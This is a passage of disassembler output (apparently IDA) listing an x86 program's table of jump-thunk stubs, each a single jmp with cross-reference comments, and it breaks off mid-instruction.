proc near ; CODE XREF: ___:0040B11Ep ; sub_40B170+34p ... jmp sub_40BDD0 sub_401BEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BF4 proc near ; CODE XREF: sub_40B0B0+5Cp jmp sub_40BC70 sub_401BF4 endp ; --------------------------------------------------------------------------- jmp loc_4327C0 ; --------------------------------------------------------------------------- jmp loc_431120 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C03 proc near ; CODE XREF: sub_430AD0+20p ; sub_430C00+20p ... jmp sub_430690 sub_401C03 endp ; --------------------------------------------------------------------------- jmp loc_42ED30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C0D proc near jmp sub_4347B0 sub_401C0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C12 proc near ; CODE XREF: sub_4137E0+84p ; sub_433A20+3Cp ... jmp sub_433940 sub_401C12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C17 proc near ; CODE XREF: ___:0042C4D8p jmp sub_42B060 sub_401C17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C1C proc near ; CODE XREF: sub_42A810+446p jmp sub_42A5F0 sub_401C1C endp ; --------------------------------------------------------------------------- jmp loc_41B620 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C26 proc near ; CODE XREF: ___:00431256p ; sub_4331D0+23p jmp sub_431AC0 sub_401C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C2B proc near ; DATA XREF: ___:off_43E12Co jmp sub_427FF0 sub_401C2B endp ; --------------------------------------------------------------------------- jmp loc_41FC80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C35 proc near ; CODE XREF: sub_41AFE0+8p ; ___:0041B39Dp ... jmp sub_41A010 sub_401C35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3A proc near ; CODE XREF: sub_42A100+3p jmp sub_42A130 sub_401C3A endp ; --------------------------------------------------------------------------- jmp loc_41AD80 ; --------------------------------------------------------------------------- jmp loc_416990 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C49 proc near ; CODE XREF: sub_40BD90+1Fp jmp sub_40BEC0 sub_401C49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C4E proc near ; CODE XREF: sub_415A00+9p ; sub_415B20+18p jmp sub_4165D0 sub_401C4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C53 proc near ; CODE XREF: sub_418C50+4p jmp sub_418F70 sub_401C53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C58 proc near ; CODE XREF: sub_407370+11p ; ___:00407397p ... jmp sub_407520 sub_401C58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C5D proc near ; CODE XREF: sub_404C70+111p ; sub_40D580+42p ... jmp sub_40A1F0 sub_401C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C62 proc near ; CODE XREF: ___:0041319Ap ; sub_413220+3Cp ... jmp sub_4157E0 sub_401C62 endp ; --------------------------------------------------------------------------- jmp loc_42E9C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C6C proc near ; CODE XREF: sub_4256B0+69p jmp sub_425820 sub_401C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C71 proc near ; CODE XREF: sub_40B520+2Fp ; sub_40B520+6Ep ... jmp sub_40BD60 sub_401C71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C76 proc near ; CODE XREF: ___:0042ED88p ; ___:0042ED9Dp ... jmp sub_432CC0 sub_401C76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C7B proc near ; CODE XREF: sub_415370+11p ; sub_415DD0+1Fp jmp sub_415FC0 sub_401C7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C80 proc near ; DATA XREF: ___:0043E0D4o jmp sub_41D830 sub_401C80 endp ; --------------------------------------------------------------------------- jmp loc_419910 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C8A proc near ; CODE XREF: sub_407370+9p ; sub_418D80+18p jmp sub_4075C0 sub_401C8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C8F proc near ; CODE XREF: sub_4131F0+3p ; ___:00416B3Bp ... jmp sub_413220 sub_401C8F endp ; --------------------------------------------------------------------------- jmp loc_40B810 ; --------------------------------------------------------------------------- loc_401C99: ; DATA XREF: ___:off_43E05Co jmp loc_416C90 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CA3 proc near ; CODE XREF: ___:00416E6Ap jmp sub_4181B0 sub_401CA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CA8 proc near ; CODE XREF: sub_415AA0+Cp ; sub_415AA0+43p jmp sub_4165A0 sub_401CA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CAD proc near ; CODE XREF: sub_409600+45p jmp sub_4098E0 sub_401CAD endp ; --------------------------------------------------------------------------- jmp loc_433140 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CBC proc near ; CODE XREF: sub_40FF60+3A4p jmp sub_40A000 sub_401CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CC1 proc near ; CODE XREF: sub_407790+653p ; ___:00407E8Ap ... jmp sub_4076F0 sub_401CC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CC6 proc near ; CODE XREF: sub_415420+16p ; sub_415460+Bp ... jmp sub_416090 sub_401CC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CCB proc near ; CODE XREF: sub_409600+144p jmp sub_409970 sub_401CCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CD0 proc near ; CODE XREF: sub_404640+1C2p ; sub_404B10+36p ... jmp sub_4133D0 sub_401CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CD5 proc near ; CODE XREF: sub_4150F0+34p ; sub_415B20+67p jmp sub_415CC0 sub_401CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDA proc near jmp sub_409AA0 sub_401CDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDF proc near ; DATA XREF: ___:0043E06Co jmp sub_41FC00 sub_401CDF endp ; --------------------------------------------------------------------------- jmp loc_42E0B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CE9 proc near ; CODE XREF: sub_40BE90+5p jmp sub_40C0F0 sub_401CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CEE proc near ; CODE XREF: ___:0043113Fp jmp sub_42F230 sub_401CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CF3 proc near ; CODE XREF: sub_421D50+11p ; ___:00421D77p ... jmp sub_422300 sub_401CF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CF8 proc near ; DATA XREF: ___:0043E048o jmp sub_4131F0 sub_401CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CFD proc near ; CODE XREF: sub_4157A0+1Fp jmp sub_416120 sub_401CFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D02 proc near ; CODE XREF: sub_40F600+1ACp ; sub_40F600+1EDp ... jmp sub_40F590 sub_401D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D07 proc near ; CODE XREF: sub_413DA0+15Cp jmp sub_414090 sub_401D07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D0C proc near ; CODE XREF: sub_404C20+23p ; sub_40FF60+13C2p jmp sub_412B20 sub_401D0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D11 proc near ; CODE XREF: ___:00416E2Fp jmp sub_418050 sub_401D11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D16 proc near ; CODE XREF: sub_407540+7p ; sub_40C200+7p ... jmp sub_4075E0 sub_401D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D1B proc near ; CODE XREF: sub_40A810+1Ap ; sub_40A8C0+4p ... jmp sub_40A880 sub_401D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D20 proc near ; CODE XREF: sub_404640+289p ; sub_404640+2ADp ... jmp sub_40A0A0 sub_401D20 endp ; --------------------------------------------------------------------------- jmp loc_42F2B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D2A proc near ; DATA XREF: ___:0043E154o jmp sub_4282C0 sub_401D2A endp ; --------------------------------------------------------------------------- jmp loc_42E680 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D34 proc near jmp sub_403FC0 sub_401D34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D39 proc near ; CODE XREF: sub_411FE0+123p ; sub_411FE0+1E2p jmp sub_4126B0 sub_401D39 endp ; --------------------------------------------------------------------------- jmp loc_41B470 ; --------------------------------------------------------------------------- jmp loc_40B790 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D48 proc near ; CODE XREF: sub_421C80+5p jmp sub_4221E0 sub_401D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D4D proc near ; CODE XREF: sub_415E70+5Fp jmp sub_416690 sub_401D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D52 proc near ; CODE XREF: sub_41D830+2C7p jmp sub_42EA40 sub_401D52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D57 proc near ; CODE XREF: sub_418BA0+7p jmp sub_418E40 sub_401D57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D5C proc near ; CODE XREF: sub_413670+5Dp ; sub_413670+9Bp ... jmp sub_415340 sub_401D5C endp ; --------------------------------------------------------------------------- jmp loc_4360A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D66 proc near ; CODE XREF: sub_415730+16p ; sub_415770+Bp ... jmp sub_4163E0 sub_401D66 endp ; --------------------------------------------------------------------------- jmp loc_40B880 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D70 proc near ; CODE XREF: sub_432ED0+98p jmp sub_430660 sub_401D70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D75 proc near ; CODE XREF: sub_421B60+16p ; sub_421BA0+Bp ... jmp sub_4221B0 sub_401D75 endp ; --------------------------------------------------------------------------- jmp loc_42C7E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D7F proc near jmp sub_41C390 sub_401D7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D84 proc near ; CODE XREF: sub_4189B0+16p ; sub_4189F0+Bp ... jmp sub_418D20 sub_401D84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D89 proc near ; CODE XREF: sub_413670+53p ; sub_413670+91p ... jmp sub_4151A0 sub_401D89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D8E proc near ; CODE XREF: sub_422A40+56p jmp sub_4258A0 sub_401D8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D93 proc near ; CODE XREF: sub_422A40+18Ap jmp sub_4257A0 sub_401D93 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D9D proc near ; CODE XREF: sub_428040+81p jmp sub_427AD0 sub_401D9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DA2 proc near ; CODE XREF: sub_415680+11p ; sub_416120+1Fp jmp sub_416310 sub_401DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA7 proc near ; CODE XREF: sub_415160+16p ; sub_4151A0+Bp ... jmp sub_415D40 sub_401DA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DAC proc near ; CODE XREF: ___:00414713p jmp sub_4144D0 sub_401DAC endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DB6 proc near ; CODE XREF: sub_426F70+90p jmp sub_427520 sub_401DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DBB proc near ; CODE XREF: ___:0042B178p jmp sub_42AEC0 sub_401DBB endp ; --------------------------------------------------------------------------- jmp loc_414120 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DC5 proc near ; CODE XREF: sub_4337E0+74p jmp sub_4317F0 sub_401DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DCA proc near ; CODE XREF: sub_41FA90+1Dp jmp sub_40B070 sub_401DCA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DCF proc near ; CODE XREF: sub_40A9F0+45p jmp sub_40AC70 sub_401DCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DD4 proc near ; CODE XREF: ___:0042F33Dp ; ___:0042F462p ... jmp sub_431990 sub_401DD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DD9 proc near ; CODE XREF: ___:00425C34p jmp sub_426EB0 sub_401DD9 endp ; --------------------------------------------------------------------------- jmp loc_431A60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE3 proc near ; CODE XREF: sub_40FF60+AE7p ; sub_40FF60+E5Dp jmp sub_41EE70 sub_401DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE8 proc near ; CODE XREF: sub_40ACA0+Ap jmp sub_40AD90 sub_401DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DED proc near ; CODE XREF: ___:00416A3Bp ; ___:00439F7Aj ... jmp sub_417AE0 sub_401DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DF2 proc near ; CODE XREF: sub_421E80+4p jmp sub_422320 sub_401DF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DF7 proc near ; CODE XREF: sub_40C400+271p ; sub_425020+50p jmp sub_423660 sub_401DF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DFC proc near ; CODE XREF: ___:0041617Ap jmp sub_416760 sub_401DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E01 proc near ; CODE XREF: sub_415CC0+7p jmp sub_4164C0 sub_401E01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E06 proc near ; CODE XREF: sub_41D830+19Bp jmp sub_42C790 sub_401E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E0B proc near ; CODE XREF: sub_404C70+83Bp ; sub_404C70+B68p ... jmp sub_412900 sub_401E0B endp ; --------------------------------------------------------------------------- jmp sub_4131F0 ; --------------------------------------------------------------------------- jmp sub_428220 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1A proc near ; CODE XREF: sub_4153B0+34p ; sub_415E70+67p jmp sub_416010 sub_401E1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E1F proc near ; CODE XREF: sub_413670+31p ; sub_4144D0+2Dp jmp sub_4152D0 sub_401E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E24 proc near ; CODE XREF: sub_40CBB0+1EEp ; ___:00423EC5p ... jmp sub_425640 sub_401E24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E29 proc near ; CODE XREF: sub_4158F0+3p jmp sub_4163C0 sub_401E29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E2E proc near ; CODE XREF: sub_404640+97p ; sub_404640+107p ... jmp sub_40A3C0 sub_401E2E endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E38 proc near ; CODE XREF: ___:00423CFDp jmp sub_423850 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E3D proc near ; CODE XREF: ___:00421D0Ap jmp sub_422210 sub_401E3D endp ; --------------------------------------------------------------------------- jmp loc_416D30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E47 proc near jmp sub_4355E0 sub_401E47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E4C proc near ; DATA XREF: ___:off_43E098o jmp sub_4356F0 sub_401E4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E51 proc near ; CODE XREF: ___:0043250Fp jmp sub_42FDB0 sub_401E51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E56 proc near ; CODE XREF: sub_4165A0+5p jmp sub_4167F0 sub_401E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E5B proc near ; CODE XREF: sub_404C70+28Dp ; sub_41D830+6A6p jmp sub_40DB40 sub_401E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E60 proc near ; CODE XREF: sub_422410+5Fp jmp sub_422600 sub_401E60 endp ; --------------------------------------------------------------------------- jmp loc_419E90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6A proc near ; CODE XREF: sub_40F600+22p ; sub_411860+1Dp ... jmp sub_40ADC0 sub_401E6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6F proc near ; CODE XREF: sub_40A9F0+112p ; sub_40A9F0+153p jmp sub_40ACD0 sub_401E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E74 proc near ; DATA XREF: ___:off_43E0C0o jmp sub_41B010 sub_401E74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E79 proc near ; CODE XREF: sub_4155E0+3p jmp sub_416070 sub_401E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E7E proc near ; CODE XREF: sub_426960+1Ap jmp sub_426820 sub_401E7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E83 proc near ; CODE XREF: ___:00416B0Bp ; ___:00439EC4j ... jmp sub_4175E0 sub_401E83 endp ; --------------------------------------------------------------------------- jmp loc_431EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E8D proc near ; CODE XREF: sub_4200F0+3Ap jmp sub_420300 sub_401E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E92 proc near ; DATA XREF: ___:0043E114o jmp sub_426F70 sub_401E92 endp ; --------------------------------------------------------------------------- jmp loc_432800 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E9C proc near ; CODE XREF: sub_416310+4p jmp sub_416710 sub_401E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA1 proc near ; CODE XREF: sub_415830+4Fp ; sub_4161C0+11p ... jmp sub_416410 sub_401EA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA6 proc near ; CODE XREF: sub_415650+5p jmp sub_4160F0 sub_401EA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EAB proc near ; CODE XREF: sub_424840+151p jmp sub_424800 sub_401EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EB0 proc near ; CODE XREF: ___:00416AABp ; ___:00439F18j ... jmp sub_417830 sub_401EB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EB5 proc near ; CODE XREF: sub_4152D0+3p jmp sub_415D20 sub_401EB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EBA proc near ; CODE XREF: sub_415030+11p ; sub_415070+13p ... jmp sub_415C70 sub_401EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EBF proc near ; CODE XREF: sub_421960+16p ; sub_4219A0+Bp ... jmp sub_421F50 sub_401EBF endp ; --------------------------------------------------------------------------- jmp loc_418860 ; --------------------------------------------------------------------------- jmp loc_41C250 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ECE proc near ; CODE XREF: sub_418E90+18p ; sub_421CB0+9p jmp sub_419050 sub_401ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ED3 proc near ; CODE XREF: sub_422540+Ap jmp sub_4226E0 sub_401ED3 endp ; --------------------------------------------------------------------------- jmp loc_41BC50 ; --------------------------------------------------------------------------- jmp loc_4328B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EE2 proc near ; CODE XREF: ___:00416A0Bp ; ___:00439FA4j ... jmp sub_417B20 sub_401EE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EE7 proc near ; CODE XREF: sub_40A810+13p jmp loc_40A950 sub_401EE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EEC proc near ; CODE XREF: sub_41B060:loc_41B0ACp ; sub_41B950+54p ... jmp sub_4198A0 sub_401EEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EF1 proc near ; CODE XREF: ___:004142C5p jmp sub_415490 sub_401EF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EF6 proc near ; CODE XREF: sub_4156C0+34p ; sub_4161C0+67p jmp sub_416360 sub_401EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EFB proc near ; CODE XREF: sub_4152F0+3p ; ___:00415A4Fp ... jmp sub_415D00 sub_401EFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F00 proc near jmp sub_412C10 sub_401F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F05 proc near ; CODE XREF: sub_413120+4Dp jmp sub_415370 sub_401F05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F0A proc near ; CODE XREF: sub_4070F0+5Cp ; sub_418E60+3p jmp sub_407310 sub_401F0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F0F proc near ; CODE XREF: ___:00419103p jmp sub_419170 sub_401F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F14 proc near ; CODE XREF: ___:0040BF1Ap jmp sub_40C250 sub_401F14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F19 proc near ; CODE XREF: ___:0042B15Fp jmp sub_42ADB0 sub_401F19 endp ; --------------------------------------------------------------------------- loc_401F1E: ; DATA XREF: ___:off_43E08Co jmp loc_4348A0 ; --------------------------------------------------------------------------- loc_401F23: ; DATA XREF: ___:004240B4o jmp loc_423C10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F28 proc near ; CODE XREF: ___:00416A6Bp ; ___:00439F50j ... jmp sub_417A40 sub_401F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F2D proc near ; CODE XREF: sub_413B70+99p jmp sub_413D40 sub_401F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F32 proc near ; CODE XREF: sub_40B390+3Dp ; ___:0040BB2Dp ... jmp sub_40B700 sub_401F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F37 proc near ; CODE XREF: ___:loc_423CA7p jmp sub_423720 sub_401F37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F3C proc near ; CODE XREF: sub_404C70+A3Ep jmp sub_406890 sub_401F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F41 proc near ; DATA XREF: ___:off_43E1A0o jmp sub_42B350 sub_401F41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F46 proc near ; CODE XREF: sub_4139B0+72p jmp sub_413670 sub_401F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F4B proc near ; CODE XREF: sub_418330+5Fp ; sub_418940+1Ap ... jmp sub_4189B0 sub_401F4B endp ; --------------------------------------------------------------------------- jmp loc_42EFA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F55 proc near ; CODE XREF: sub_42E400+B5p jmp sub_42D2C0 sub_401F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5A proc near ; CODE XREF: sub_40B520+4Bp ; sub_40B520:loc_40B5ABp ... jmp sub_40BE40 sub_401F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F5F proc near jmp sub_41E400 sub_401F5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F64 proc near ; CODE XREF: sub_40A430+142p jmp sub_40A810 sub_401F64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F69 proc near ; CODE XREF: sub_404640+35Dp ; sub_404640+39Ep jmp sub_404B10 sub_401F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F6E proc near ; CODE XREF: sub_415DD0+9p ; sub_415E70+18p jmp sub_4166D0 sub_401F6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F73 proc near ; CODE XREF: sub_431B30+1Bp jmp sub_431BE0 sub_401F73 endp ; --------------------------------------------------------------------------- jmp loc_42AFD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F7D proc near ; CODE XREF: sub_426450+1Dp ; sub_4269A0+1Dp ... jmp sub_4264C0 sub_401F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F82 proc near ; CODE XREF: sub_427DC0+1Dp ; sub_428160+1Fp ... jmp sub_427E30 sub_401F82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F87 proc near ; CODE XREF: ___:00429D73p jmp sub_429DA0 sub_401F87 endp ; --------------------------------------------------------------------------- jmp loc_406BD0 ; --------------------------------------------------------------------------- jmp loc_40D460 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F96 proc near ; CODE XREF: sub_409600+112p ; sub_409600+153p jmp sub_409940 sub_401F96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F9B proc near ; CODE XREF: sub_422600+5p jmp sub_422770 sub_401F9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA0 proc near ; CODE XREF: sub_407340+5p jmp sub_4074F0 sub_401FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA5 proc near ; CODE XREF: sub_413670+6Fp ; sub_413670+DBp ... jmp sub_4152F0 sub_401FA5 endp ; --------------------------------------------------------------------------- jmp loc_42B830 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FAF proc near ; CODE XREF: sub_415210+5Ep ; sub_415BE0+32p jmp sub_415B20 sub_401FAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB4 proc near jmp sub_40F030 sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB9 proc near ; CODE XREF: sub_412B20+3p jmp sub_412B50 sub_401FB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FBE proc near ; CODE XREF: sub_404640+48p ; sub_404640+5Dp ... jmp sub_409D20 sub_401FBE endp ; --------------------------------------------------------------------------- jmp loc_419950 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FC8 proc near ; CODE XREF: sub_41A0E0+3p ; sub_41B040+9j ... jmp sub_41A110 sub_401FC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FCD proc near ; CODE XREF: sub_40BCB0+34p ; sub_40C120+67p jmp sub_40C040 sub_401FCD endp ; --------------------------------------------------------------------------- jmp loc_432690 ; --------------------------------------------------------------------------- loc_401FD7: ; DATA XREF: ___:off_43E094o jmp loc_435280 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FDC proc near jmp sub_40F0B0 sub_401FDC endp ; --------------------------------------------------------------------------- jmp loc_436300 ; --------------------------------------------------------------------------- loc_401FE6: ; DATA XREF: ___:0043E03Co jmp loc_41EDB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FEB proc near ; CODE XREF: sub_41F860+5Ap jmp sub_41FF40 sub_401FEB endp ; --------------------------------------------------------------------------- jmp loc_430380 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FF5 proc near ; CODE XREF: ___:00416A2Bp ; ___:00439F88j ... jmp sub_417B00 sub_401FF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FFA proc near ; CODE XREF: ___:00416D7Fp jmp sub_413120 sub_401FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FFF proc near ; CODE XREF: sub_421A80+5p jmp sub_421F80 sub_401FFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402004 proc near ; CODE XREF: ___:00421654p jmp 